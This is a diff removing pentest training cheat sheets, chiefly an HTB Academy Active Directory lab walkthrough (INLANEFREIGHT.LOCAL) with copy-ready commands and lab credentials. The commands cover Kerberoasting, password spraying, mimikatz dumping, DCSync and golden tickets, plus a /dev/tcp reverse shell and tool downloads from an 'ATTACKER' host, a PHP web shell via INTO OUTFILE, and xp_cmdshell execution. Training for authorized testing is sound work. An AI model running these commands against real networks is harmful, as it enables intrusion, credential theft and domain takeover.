(OpenSMTPD) | SMTP | sender `;` → root RCE | Exploit-DB PoC | - -## Port reference `ris:GlobalLine` - -| Service | Port(s) | -|---|---| -| FTP | 21 | -| SSH | 22 | -| SMB | 445, 139 (UDP 137-138) | -| Kerberos | 88 (TCP/UDP) | -| SNMP | 161 (UDP; 162 trap) | -| MSSQL | 1433 (UDP 1434, hidden 2433) | -| MySQL | 3306 | -| RDP | 3389 | -| DNS | 53 (TCP for AXFR) | -| NFS | 2049 (+ 111 rpcbind) | -| WinRM | 5985 (HTTP) · 5986 (HTTPS) | -| Email | 25 · 110 · 143 · 465 · 587 · 993 · 995 | - ---- - -## Lessons Learned `fas:Lightbulb` - -1. **Misconfig before CVE.** Anonymous auth, default creds, and over-privileged accounts land more services than any memory-corruption bug — walk the four-category checklist first. -2. **Reuse every string.** A filename, a username in a share, a password in a mailbox — try it against *every* other service before you brute-force. That's the module's whole worked chain. -3. **Spray, don't brute, on AD.** One password across all users with lockout awareness; a full wordlist per account locks out the domain and burns the engagement. -4. **SQL is a file-system and a network pivot**, not just data — `xp_cmdshell`, `INTO OUTFILE`, `OPENROWSET`, `xp_dirtree` hash steal, and linked-server hops all start from a DB login. -5. **Some exploits break things.** BlueKeep BSODs, relays and sprays touch availability — least-invasive-first, and get explicit sign-off for the loud ones. -6. **Check relay preconditions before you claim the attack.** SMB signing on the target, a coercion path (or Responder luck), and demonstrated impact — all three, or it's a theory, not a finding. -7. **The boring protocols close the gap.** SNMP `public`, NFS `no_root_squash`, and reused SSH keys are low-noise, high-yield — enumerate them on every host, especially post-pivot. -8. **Pick the right tunnel.** proxychains/SOCKS is quick but cripples nmap (`-sT -Pn` only) and breaks tools that need raw sockets; ligolo-ng's TUN route costs a minute to set up and restores full tooling. - -## References `fas:BookOpen` - -1. [HTB Academy — Attacking Common Services](https://academy.hackthebox.com/module/details/116) -2. [HTB Academy — Pivoting, Tunneling, and Port Forwarding](https://academy.hackthebox.com/module/details/158) -3. [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) · [InternalAllTheThings](https://github.com/swisskyrepo/InternalAllTheThings) -4. [Impacket](https://github.com/fortra/impacket) · [NetExec](https://github.com/Pennyw0rth/NetExec) · [NetExec Wiki — selecting and using protocols](https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol) -5. [Responder](https://github.com/lgandx/Responder) · [kerbrute](https://github.com/ropnop/kerbrute) · [evil-winrm](https://github.com/Hackplayers/evil-winrm) · [enum4linux-ng](https://github.com/cddmp/enum4linux-ng) -6. [ligolo-ng](https://github.com/nicocha30/ligolo-ng) · [chisel](https://github.com/jpillora/chisel) -7. [OWASP A05:2021 — Security Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/) -8. [can-i-take-over-xyz — subdomain takeover matrix](https://github.com/EdOverflow/can-i-take-over-xyz) - ---- - -[← Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Full walkthrough guide](/sheets/pentest-workflow/attacking-common-services-guide) · [Field manual](/sheets/pentest-workflow/network-service-attack-manual) · [Next: Common Applications →](/sheets/pentest-workflow/attacking-common-applications) - -#HTB #CPTS #AttackingCommonServices #Services #Pentest diff --git a/src/content/sheets/pentest-workflow/attacking-enterprise-networks.md b/src/content/sheets/pentest-workflow/attacking-enterprise-networks.md @@ -1,578 +0,0 @@ ---- -title: "Attacking Enterprise Networks — Lateral Movement to Domain" -description: "Worked HTB Attacking Enterprise Networks chain through INLANEFREIGHT: BloodHound, ForceChangePassword, share hunting, Kerberoasting, WinRM, MS01 privesc, pillage — plus ACL abuse, tunneling, and MySQL/MSSQL exploitation." -category: pentest-workflow -subcategory: "General CPTS Cheatsheets" -order: 32 -tags: ["htb", "attacking-enterprise-networks", "active-directory", "lateral-movement", "kerberoasting", "bloodhound", "mssql", "mysql", "pivoting", "pentest-workflow"] -tools: ["SharpHound", "BloodHound", "PowerView", "NetExec", "Impacket", "Snaffler", "smbclient", "xfreerdp", "evil-winrm", "Kerbrute", "Hashcat", "mimikatz", "Inveigh", "proxychains"] -difficulty: advanced -updated: "2026-08-31" ---- - -# Attacking Enterprise Networks — Lateral Movement to Domain - -A worked chain for the HTB Academy **Attacking Enterprise Networks** module -(domain `INLANEFREIGHT.LOCAL`), from a foothold on the internal staging host -through lateral movement, credential hunting, local privilege escalation, and -pillage — extended with the ACL-abuse, tunneling, and database-exploitation -moves the same box sets up. Every internal action rides the DMZ01 SOCKS pivot. - -> [!warning] Authorized targets only -> This is a lab walkthrough against an HTB range. Run these techniques only -> where you have explicit written permission. Password resets, admin additions, -> ticket forging, and coercion are loud and stateful — get client sign-off and -> log every credential, target change, and rollback for the report appendix. - -> [!note] Placeholders are not fabricated -> Three values in this chain are redacted because they must be pulled live: -> **backupadm**'s password (in the backup script), **backupjob**'s cracked hash -> (Kerberoast), and `flag.txt`. Each is tagged to the exact command that yields -> it — nothing here invents a lab answer. - -## The board - -| Host | Role | Address | -| --- | --- | --- | -| DMZ01 | External DMZ, SSH pivot / SOCKS | 10.129.203.111 | -| DEV01 | DotNetNuke, staging, RDP as hporter | 172.16.8.20 | -| DC01 | Domain Controller (SMB / LDAP) | 172.16.8.3 | -| MS01 | Member / SQL box, WinRM 5985 | 172.16.8.50 | - -Credentials looted along the way. Italicised entries are still to be pulled or cracked. - -| Account | Secret | Source | -| --- | --- | --- | -| hporter | `Gr8hambino!` | LSA secrets on DEV01 | -| ssmalls | `Str0ngpass86!` | set via ForceChangePassword | -| backupadm | *in SQL Express Backup.ps1* | IT share (Q1) | -| account | `L337^p@$$w0rD` | adum.vbs, likely stale | -| backupjob | *crack the TGS-REP* | Kerberoast (Q2) | -| kdenunez / mmertle | `Welcome1` | password spray | -| frontdesk | `ILFreightLobby!` | AD description field | -| ilfserveradm | `Sys26Admin` | unattend.xml on MS01 | -| mssqladm | `DBAilfreight1!` | LSA / autologon on MS01 | -| mpalledorous | *crack the NetNTLMv2* | Inveigh capture (Q4) | - -> [!tip] Set these once -> The commands below use the concrete lab addresses, but keep an env block -> handy so nothing is ambiguous when you switch hosts. - -```bash -export DC="172.16.8.3" # DC01 -export DEV="172.16.8.20" # DEV01 (RDP foothold) -export MS="172.16.8.50" # MS01 (WinRM / SQL) -export DOMAIN="INLANEFREIGHT.LOCAL" -export PIVOT="10.129.203.111" # DMZ01 -# proxychains SOCKS lives at 127.0.0.1:8083 -``` - -## Kill chain - -<figure class="flow plate corners"> - <figcaption class="flow__cap"><span class="flow__kind">Kill chain</span><span class="flow__dir">TD</span></figcaption> - <div class="flow__body"> - <svg class="flow-svg" viewBox="0 0 560 620" role="img" aria-label="PWNBOX pivots through DMZ01 to DEV01, which reaches DC01 and MS01; MS01 escalates to Domain Admin, and DC01 feeds Kerberoast and spray back to MS01"> - <!-- edges --> - <path class="fedge" d="M280,106 L280,178" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M280,226 L280,298" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M280,346 L120,418" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M280,346 L440,418" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M440,466 L440,538" marker-end="url(#flow-arrow)" /> - <path class="fedge is-dotted" d="M195,442 L365,442" marker-end="url(#flow-arrow)" /> - <!-- nodes --> - <g class="fnode is-entry"><rect class="fnode__box" x="205" y="58" width="150" height="48" /><text class="fnode__label" x="280" y="79" text-anchor="middle">PWNBOX<tspan class="sub" x="280" dy="15">proxychains + tools</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="205" y="178" width="150" height="48" /><text class="fnode__label" x="280" y="199" text-anchor="middle">DMZ01<tspan class="sub" x="280" dy="15">SSH pivot · SOCKS :8083</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="205" y="298" width="150" height="48" /><text class="fnode__label" x="280" y="319" text-anchor="middle">DEV01<tspan class="sub" x="280" dy="15">DNN · RDP foothold</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="45" y="418" width="150" height="48" /><text class="fnode__label" x="120" y="439" text-anchor="middle">DC01<tspan class="sub" x="120" dy="15">Domain Controller</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="365" y="418" width="150" height="48" /><text class="fnode__label" x="440" y="439" text-anchor="middle">MS01<tspan class="sub" x="440" dy="15">SQL · privesc to SYSTEM</tspan></text></g> - <g class="fnode is-goal"><rect class="fnode__box" x="365" y="538" width="150" height="48" /><text class="fnode__label" x="440" y="566" text-anchor="middle">Domain Admin</text></g> - <!-- edge labels --> - <g class="felabel"><rect class="felabel__box" x="239" y="134" width="82" height="16" /><text class="felabel__text" x="280" y="145" text-anchor="middle">ssh -D / -L</text></g> - <g class="felabel"><rect class="felabel__box" x="239" y="254" width="82" height="16" /><text class="felabel__text" x="280" y="265" text-anchor="middle">SOCKS + RDP</text></g> - <g class="felabel"><rect class="felabel__box" x="135" y="374" width="130" height="16" /><text class="felabel__text" x="200" y="385" text-anchor="middle">BloodHound · shares</text></g> - <g class="felabel"><rect class="felabel__box" x="298" y="374" width="124" height="16" /><text class="felabel__text" x="360" y="385" text-anchor="middle">cred reuse · WinRM</text></g> - <g class="felabel"><rect class="felabel__box" x="384" y="494" width="112" height="16" /><text class="felabel__text" x="440" y="505" text-anchor="middle">DCSync · tickets</text></g> - <g class="felabel"><rect class="felabel__box" x="218" y="434" width="124" height="16" /><text class="felabel__text" x="280" y="445" text-anchor="middle">Kerberoast · spray</text></g> - </svg> - </div> -</figure> - -## 1. BloodHound recon - -Collect every object, then hunt object-control edges. No evasion needed here. - -```powershell -# On DEV01 (upload via the DNN file manager) -SharpHound.exe -c All -SharpHound.exe -c All -d INLANEFREIGHT.LOCAL --zipfilename ilfreight -``` - -```bash -# Or collect remotely over the pivot — no shell on the target needed -proxychains bloodhound-python -u ssmalls -p 'Str0ngpass86!' \ - -d inlanefreight.local -ns 172.16.8.3 -c All --zip - -# Ingest -sudo neo4j start -bloodhound # drag the .zip in, then Analysis -``` - -> [!tip] What to look for -> Select **hporter** and open *First Degree Object Control*: -> `hporter --[ForceChangePassword]--> ssmalls`. Also note -> `Domain Users --[CanRDP]--> DEV01` — a medium-risk *Excessive AD Group -> Privileges* finding. - -## 2. Lateral movement — ForceChangePassword - -hporter can reset **ssmalls** without knowing the old password. - -```powershell -# PowerView on DEV01 -Import-Module .\PowerView.ps1 -Set-DomainUserPassword -Identity ssmalls ` - -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose -``` - -```bash -# Or from Linux, no RDP -proxychains net rpc password ssmalls 'Str0ngpass86!' \ - -U 'INLANEFREIGHT/hporter%Gr8hambino!' -S 172.16.8.3 - -# Confirm -proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' -``` - -See [ACL abuse](#acl-abuse--object-control-edges) below for every other edge BloodHound might hand you. - -## 3. Pivoting and RDP - -Everything internal rides DMZ01: a dynamic forward feeds proxychains, a local forward carries RDP. - -```bash -# Dynamic SOCKS for proxychains (matches 127.0.0.1:8083) -ssh -i dmz01_key -D 8083 root@10.129.203.111 - -# Confirm RDP, then tunnel it: 127.0.0.1:13389 -> DEV01:3389 -proxychains nmap -sT -p 3389 172.16.8.20 -ssh -i dmz01_key -L 13389:172.16.8.20:3389 root@10.129.203.111 - -# Connect with drive redirection (share your tools dir) -xfreerdp /v:127.0.0.1:13389 /u:hporter /p:'Gr8hambino!' /drive:home,"/home/tester/tools" -``` - -```powershell -# On the target: move tools across the redirected drive -net use # \\TSCLIENT\home -copy \\TSCLIENT\home\PowerView.ps1 . -copy .\ilfreight_spns.csv \\TSCLIENT\home -``` - -Full pivoting reference: [Tunneling toolbox](#tunneling-toolbox) and [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). - -## 4. Share hunting - -Iterate per user — permissions differ. This is where Q1 lives. - -```powershell -# Snaffler from the DEV01 RDP session -Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data -``` - -```bash -# NetExec / CME spider — map a share without RDP -proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' \ - -M spider_plus --share 'Department Shares' -# output -> /tmp/cme_spider_plus/172.16.8.3.json - -# Grab the file (mind the spaces) -proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares' -# smb> cd IT\Private\Development\ -# smb> get "SQL Express Backup.ps1" -# -> $mySrvConn.Password = "<backupadm password = Q1>" -``` - -> [!tip] Do not grab SYSVOL blind -> List it recursively first, and always hunt GPP cpassword — the AES key is public. - -```bash -impacket-smbclient 'INLANEFREIGHT/ssmalls:Str0ngpass86!@172.16.8.3' -# use SYSVOL -> recurse on -> ls (note every .ps1 / .vbs / .bat / .xml) - -impacket-Get-GPPPassword 'INLANEFREIGHT/ssmalls:Str0ngpass86!@172.16.8.3' -proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' -M gpp_password -``` - -## 5. Kerberoasting - -Request TGS tickets for every SPN account and crack offline. Q2 = crack backupjob. - -```powershell -# PowerView on DEV01 -Import-Module .\PowerView.ps1 -Get-DomainUser * -SPN | Select samaccountname -Get-DomainUser * -SPN -Verbose | Get-DomainSPNTicket -Format Hashcat ` - | Export-Csv .\ilfreight_spns.csv -NoTypeInformation -``` - -```bash -# Impacket over the pivot (all SPNs, or just backupjob) -proxychains impacket-GetUserSPNs -dc-ip 172.16.8.3 \ - INLANEFREIGHT.LOCAL/ssmalls:'Str0ngpass86!' -request -proxychains impacket-GetUserSPNs -dc-ip 172.16.8.3 \ - INLANEFREIGHT.LOCAL/ssmalls:'Str0ngpass86!' -request-user backupjob -outputfile spns.hash - -# Crack the TGS-REP (RC4 = mode 13100) -hashcat -m 13100 ilfreight_spns /usr/share/wordlists/rockyou.txt -``` - -More: [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks). - -## 6. Password spraying - -One weak password across many users. Check lockout policy first. - -```bash -proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' --pass-pol -``` - -```powershell -# DomainPasswordSpray auto-pulls the user list from the domain -Import-Module .\DomainPasswordSpray.ps1 -Invoke-DomainPasswordSpray -Password Welcome1 -OutFile sprayed.txt -# SUCCESS: kdenunez / mmertle -``` - -```bash -# Kerbrute — fast, no lockout on failed pre-auth -proxychains kerbrute passwordspray -d inlanefreight.local --dc 172.16.8.3 users.txt Welcome1 -``` - -## 7. Credential hunting (misc) - -```bash -# Autologon creds in SYSVOL Registry.xml (GPP) -proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' -M gpp_autologin -# Passwords in AD description fields -proxychains crackmapexec ldap 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' -M get-desc-users -``` - -```powershell -Get-DomainUser * | select samaccountname,description | ?{$_.Description -ne $null} -# frontdesk : ILFreightLobby! -``` - -## 8. WinRM foothold - -Loop every credential set against any host with 5985 open. backupadm lands on MS01. - -```bash -proxychains nmap -sT -p 5985 172.16.8.50 # wsman open -proxychains evil-winrm -i 172.16.8.50 -u backupadm -p '<backupadm-pass>' -``` - -> [!note] Double-hop problem -> From an Evil-WinRM shell, network auth does not forward. Enumerate with an -> explicit PSCredential object. - -```powershell -$pass = ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force -$cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\ssmalls',$pass) -Get-DomainUser -Credential $cred -SPN | select samaccountname -``` - -## 9. Local privesc on MS01 - -Answer-file creds, then abuse an insecure service to hit SYSTEM. Q3 = `flag.txt` on the Administrator Desktop. - -```powershell -# Hunt install answer files for cleartext passwords -type C:\panther\unattend.xml -Get-ChildItem C:\ -Include *unattend*,*sysprep*,Autounattend.xml -File -Recurse -EA 0 -# -> ilfserveradm : Sys26Admin (local user, Remote Desktop, NOT admin) -``` - -> [!tip] Sysax Automation scheduled-task privesc -> The Sysax service runs as SYSTEM. A triggered task with *"Login as the -> following user"* unchecked runs the payload as SYSTEM. - -```powershell -echo net localgroup administrators ilfserveradm /add > C:\Users\ilfserveradm\Documents\pwn.bat -# In sysaxschedscp.exe (C:\Program Files (x86)\SysaxAutomation): -# Setup Scheduled/Triggered Tasks -> Add task (Triggered) -# Monitor folder: C:\Users\ilfserveradm\Documents ; Run: ...\pwn.bat -# UNCHECK "Login as the following user" -> Finish -> Save -# Trigger by dropping a new .txt into the monitored folder -net localgroup administrators # ilfserveradm now listed -type "C:\Users\Administrator\Desktop\flag.txt" # Q3 -``` - -> [!note] Keep in your back pocket -> `SeImpersonate` -> PrintSpoofer / GodPotato (as used earlier on DMZ01), -> unquoted service paths, and writable service binaries. Run WinPEAS if nothing -> obvious surfaces. See [Windows Privilege Escalation](/sheets/pentest-workflow/windows-privesc-cpts). - -## 10. Post-exploitation and pillage - -Now local admin: dump secrets, browser creds, and poison for hashes. Q4 = crack mpalledorous. - -```text -# mimikatz -- elevate to SYSTEM, dump LSA secrets -mimikatz.exe - log - privilege::debug - token::elevate - lsadump::secrets -# $MACHINE.ACC · DPAPI_SYSTEM · NL$KM · DefaultPassword: DBAilfreight1! -``` - -```powershell -# Resolve the autologon username for that DefaultPassword -Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\' -Name DefaultUserName -# DefaultUserName : mssqladm -> mssqladm : DBAilfreight1! -``` - -```powershell -# Saved browser / app creds -lazagne.exe all -# Poison LLMNR/NBT-NS and capture inbound auth -Import-Module .\Inveigh.ps1 -Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -# NTLMv2 captured for ACADEMY-AEN-DEV\mpalledorous from 172.16.8.20 -``` - -```bash -# Crack the capture (NetNTLMv2 = mode 5600) ; grab the KeePass DB too -hashcat -m 5600 mpalledorous.ntlmv2 /usr/share/wordlists/rockyou.txt # Q4 -keepass2john Inlanefreight.kdbx > kdbx.hash -hashcat -m 13400 kdbx.hash /usr/share/wordlists/rockyou.txt -``` - -## ACL abuse — object-control edges - -ForceChangePassword is one edge. When BloodHound puts any of these on a path, here is the move. Deep dive: [Stage 06 — ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse). - -| Edge | Grants | Abuse | -| --- | --- | --- | -| GenericAll | full control of object | reset pw · targeted roast · shadow creds | -| GenericWrite | write most attributes | set SPN then targeted Kerberoast | -| WriteDACL | edit the object ACL | grant yourself DCSync | -| WriteOwner | set the owner | own it then WriteDACL then rights | -| AddMember | edit group membership | add yourself to the group | -| AllExtendedRights | all extended rights | ForceChangePassword · DCSync · read LAPS | -| AddKeyCredentialLink | write msDS-KeyCredentialLink | Shadow Credentials (no pw reset) | -| ReadGMSAPassword | read the gMSA blob | recover the managed account pw | - -```bash -# AddMember / GenericAll on a group -> add yourself -proxychains bloodyAD -d inlanefreight.local -u ssmalls -p 'Str0ngpass86!' \ - --host 172.16.8.3 add groupMember 'Help Desk' ssmalls - -# WriteDACL on the domain -> grant DCSync, then pull hashes -proxychains impacket-dacledit -action write -rights DCSync -principal ssmalls \ - -target-dn 'DC=INLANEFREIGHT,DC=LOCAL' 'INLANEFREIGHT/ssmalls:Str0ngpass86!' -proxychains impacket-secretsdump -just-dc INLANEFREIGHT/ssmalls:'Str0ngpass86!'@172.16.8.3 - -# AddKeyCredentialLink -> Shadow Credentials (auth as target, no password change) -proxychains certipy-ad shadow auto -u ssmalls@inlanefreight.local -p 'Str0ngpass86!' -account target -``` - -```powershell -# GenericWrite on a user -> targeted Kerberoast (set fake SPN, roast, clean up) -Set-DomainObject -Identity target -Set @{serviceprincipalname='fake/svc'} -Verbose -Get-DomainUser target -SPN | Get-DomainSPNTicket -Format Hashcat -Set-DomainObject -Identity target -Clear serviceprincipalname -``` - -## Tunneling toolbox - -SSH did the job here; keep these for when there is no SSH or you need the whole subnet routed. See [Tunneling & Pivoting](/sheets/tunneling-pivoting). - -```bash -ssh -D 8083 user@pivot # dynamic SOCKS -> proxychains -ssh -L 13389:172.16.8.20:3389 user@pivot # local: reach one internal port -ssh -R 8083 user@attacker # remote: pivot dials back to you - -# /etc/proxychains.conf -> [ProxyList] -# socks5 127.0.0.1 8083 (nmap over it: -sT -Pn only) - -# chisel (reverse SOCKS when there is no SSH) -./chisel server -p 8080 --reverse # attacker -./chisel client ATTACKER:8080 R:socks # victim - -# ligolo-ng (tun interface, no proxychains) -./proxy -selfcert # attacker -./agent -connect ATTACKER:11601 -ignore-cert # victim ; then session -> start -> add route - -# sshuttle (VPN-like over SSH) -sshuttle -r root@10.129.203.111 172.16.8.0/24 --ssh-cmd "ssh -i dmz01_key" -``` - -```powershell -# Windows pivot without SSH -netsh interface portproxy add v4tov4 listenport=13389 connectport=3389 connectaddress=172.16.8.20 -plink.exe -R 8083 user@ATTACKER -``` - -## File transfer and shells - -Getting tools onto a host and a shell back. On DEV01 you also have the DNN file manager and RDP drive redirection. See [Foothold — File Transfers](/sheets/pentest-workflow/foothold-file-transfers) and [Shells, Payloads, Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit). - -```bash -# Delivery server -python3 -m http.server 8000 -impacket-smbserver share . -smb2support - -# Linux pull + catch a reverse shell -wget http://ATTACKER:8000/linpeas.sh -O /tmp/lp.sh -rlwrap nc -lvnp 443 -bash -i >& /dev/tcp/ATTACKER/443 0>&1 -python3 -c 'import pty;pty.spawn("/bin/bash")' # then Ctrl-Z ; stty raw -echo; fg -``` - -```powershell -# Windows pull -iwr -Uri http://ATTACKER:8000/nc.exe -OutFile nc.exe -certutil -urlcache -split -f http://ATTACKER:8000/nc.exe nc.exe -copy \\ATTACKER\share\PowerView.ps1 . -copy \\TSCLIENT\home\tool.exe . # via RDP drive redirect -``` - -## MySQL exploitation - -Full lifecycle on port 3306: discover, auth, enumerate, dump hashes, read/write files, RCE. - -```bash -nmap -sV -p3306 --script mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-dump-hashes <ip> -hydra -L users.txt -P /usr/share/wordlists/rockyou.txt <ip> mysql -mysql -u root -h <ip> -P 3306 -p'<pass>' -mysql -u root -h <ip> --skip-ssl -p # if TLS handshake errors -``` - -```sql --- Enumerate -SELECT version(); SELECT user(); SELECT system_user(); -SELECT grantee, privilege_type FROM information_schema.user_privileges; -SHOW GRANTS; -- look for FILE / SUPER / ALL -SHOW databases; USE <db>; SHOW tables; SELECT * FROM <table>; - --- Dump password hashes (crack: 300 = MySQL4.1+, 200 = mysql323) -SELECT user, authentication_string FROM mysql.user; -- 5.7 / 8.x -SELECT User, Password FROM mysql.user; -- legacy < 5.7 - --- FILE privilege -> read / write -SHOW VARIABLES LIKE 'secure_file_priv'; -- '' = anywhere ; NULL = disabled -SELECT LOAD_FILE('/etc/passwd'); -SELECT LOAD_FILE('C:/inetpub/wwwroot/web.config'); -- DB creds live here -SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/sh.php'; - --- RCE via UDF (root + writable plugin dir) -SHOW VARIABLES LIKE 'plugin_dir'; -CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; -SELECT sys_exec('id > /tmp/o; chmod 777 /tmp/o'); -``` - -```bash -# sqlmap / metasploit shortcuts -sqlmap -u 'http://site/p?id=1' --batch --dbs -sqlmap -u 'http://site/p?id=1' --os-shell # FILE priv + writable webroot -msf> use auxiliary/scanner/mysql/mysql_hashdump -msf> use exploit/multi/mysql/mysql_udf_payload -``` - -## MSSQL exploitation - -This box's real path — you hold `mssqladm : DBAilfreight1!`. Mirrors the "web.config -> SQL service account -> local admin -> DA logged in" story. Port 1433. - -```bash -proxychains nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info 172.16.8.50 -proxychains crackmapexec mssql 172.16.8.50 -u mssqladm -p 'DBAilfreight1!' -q "SELECT @@version" -proxychains impacket-mssqlclient INLANEFREIGHT/mssqladm:'DBAilfreight1!'@172.16.8.50 -windows-auth -``` - -```sql --- Recon -SELECT @@version; SELECT system_user; SELECT is_srvrolemember('sysadmin'); -SELECT name FROM sys.databases; SELECT name FROM master..syslogins; - --- Command exec via xp_cmdshell -EXEC sp_configure 'show advanced options',1; RECONFIGURE; -EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; -EXEC xp_cmdshell 'whoami'; -- impacket shortcut: enable_xp_cmdshell - --- Coerce the SQL service account NetNTLM (start responder/Inveigh first) -EXEC master..xp_dirtree '\\10.10.14.5\share',1,1; - --- Escalate inside SQL: impersonation + linked servers -EXECUTE AS LOGIN='sa'; SELECT system_user; -EXEC sp_linkedservers; -EXEC ('sp_configure ''xp_cmdshell'',1; reconfigure; exec xp_cmdshell ''whoami''') AT [SQL02]; -``` - -> [!note] SQL service to SYSTEM -> The SQL service runs with `SeImpersonatePrivilege` — chain `xp_cmdshell` -> into PrintSpoofer / GodPotato for `NT AUTHORITY\SYSTEM` on the SQL host, the -> exact "local admin on a SQL box" outcome the module describes. - -## Road to Domain Admin - -Where the module leaves off. All loud and high-impact — confirm scope, log everything. - -```bash -# AS-REP roast (accounts with pre-auth disabled) -proxychains impacket-GetNPUsers -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/ -usersfile users.txt -request -hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt - -# Pass-the-Hash with an NTLM from lsadump -proxychains impacket-psexec -hashes :<NTLM> INLANEFREIGHT/administrator@172.16.8.50 -proxychains evil-winrm -i 172.16.8.50 -u administrator -H <NTLM> - -# DCSync -> pull krbtgt / any hash -proxychains impacket-secretsdump -just-dc-user krbtgt INLANEFREIGHT/<user>:'<pass>'@172.16.8.3 - -# Golden ticket (persistence once you hold the krbtgt hash) -proxychains impacket-ticketer -nthash <KRBTGT> -domain-sid <S-1-5-21-...> \ - -domain INLANEFREIGHT.LOCAL Administrator -``` - -```powershell -# Mark cracked users Owned, then run BloodHound "Shortest Paths to Domain Admins from Owned Principals" -Get-DomainComputer -Unconstrained | select name -Get-DomainUser -TrustedToAuth | select samaccountname,msds-allowedtodelegateto -``` - -## Hashcat modes for this chain - -| Mode | Hash | Seen at | -| --- | --- | --- | -| 13100 | Kerberoast TGS-REP (RC4) | step 5, backupjob | -| 19600 / 19700 | Kerberoast (AES128 / 256) | step 5, AES-only SPNs | -| 18200 | AS-REP roast | Road to DA | -| 5600 | NetNTLMv2 | step 10, mpalledorous | -| 1000 | NTLM | lsadump / SAM | -| 13400 | KeePass (.kdbx) | step 10 loot | -| 300 / 200 | MySQL 4.1+ / mysql323 | MySQL mysql.user | -| 1731 / 132 | MSSQL 2012-2014 / 2005 | MSSQL syslogins | - -## Findings logged - -Every technique doubles as a client finding. - -| Finding | Evidence | Risk | -| --- | --- | --- | -| Excessive AD group privileges | Domain Users can RDP to DEV01 | Medium | -| Weak Kerberos config (Kerberoasting) | SPN accounts, backupjob cracked | High | -| Weak / reused AD passwords | Welcome1 spray hits | Medium | -| Passwords in AD description field | frontdesk : ILFreightLobby! | Medium | -| Sensitive data on file shares | SQL Express Backup.ps1, adum.vbs | Medium | -| Cleartext creds in unattend.xml | ilfserveradm : Sys26Admin | High | -| Insecure service permissions | Sysax scheduled task to SYSTEM | High | -| LLMNR / NBT-NS poisoning | Inveigh captured NTLMv2 | High | - -## Related notes - -- [HTB Attack Flow Playbook](/sheets/pentest-workflow/htb-attack-flow-playbook) — the full staged workflow this chain draws on. -- [Appendix — Worked Chains](/sheets/pentest-workflow/worked-chains) — more compact end-to-end examples. -- [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) · [Stage 06 — ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) · [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) -- [Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · [Windows Privesc](/sheets/pentest-workflow/windows-privesc-cpts) diff --git a/src/content/sheets/pentest-workflow/cpts-exam-attack-flow.md b/src/content/sheets/pentest-workflow/cpts-exam-attack-flow.md @@ -1,468 +0,0 @@ ---- -title: "CPTS Exam Attack Flow" -description: "CPTS companion guide: CPTS Exam Attack Flow — copy-ready methodology and commands." -category: pentest-workflow -subcategory: "Companion Guides" -order: 21 -tags: ["methodology", "cpts-prep", "cpts-exam", "ad", "pivoting", "workflow", "cpts", "pentest-workflow"] -tools: [] -difficulty: intermediate -updated: "2026-07-18" -source: "vault:Pentest Attack Flow/Companion Guides/CPTS-Exam-Attack-Flow.md" ---- ---- - -> [!abstract] `> ABOUT_THIS_GUIDE` -> The attack flow of a full CPTS-style engagement, rebuilt from the **Red Block trilocor.local writeup**. Unlike a single HTB box, the exam is **one big segmented network**: an external DMZ, a pivot into internal AD, a long ACL/credential chain to Domain Admin, a **forest trust** into a second domain, and a **dev-apps subnet**. Command syntax lives in **[CPTS-Exam-Most-Used-Commands](/sheets/pentest-workflow/cpts-exam-most-used-commands)**; the HTB-box methodology is in **[Attack-Flow-Guide](/sheets/pentest-workflow/attack-flow-guide)**. IPs/creds below are the writeup's examples — swap in your own. - -> [!tip]+ `> EXAM MINDSET` -> 1. **It's one network, not ten boxes.** Every host you own is a **pivot** to the next subnet. Set up Ligolo early and keep a route map. -> 2. **Loot > exploits.** The chain was driven by creds in files: SQLi dumps, NFS scripts, sublime/OneNote notes, AxCrypt/Ansible vaults, `.bak` config files, LaZagne/LSA secrets. -> 3. **New cred = re-enumerate.** BloodHound + spray every new identity. The DA path was ~7 chained users via ACLs. -> 4. **Persist before you pivot.** Grab `/root/.ssh/id_rsa` and note every cred — lab resets happen. -> 5. **Clock skew** breaks Kerberoasting → `sudo ntpdate <DC>`. -> 6. **Take screenshots + note every flag location** as you go (exam report requirement). - ---- - 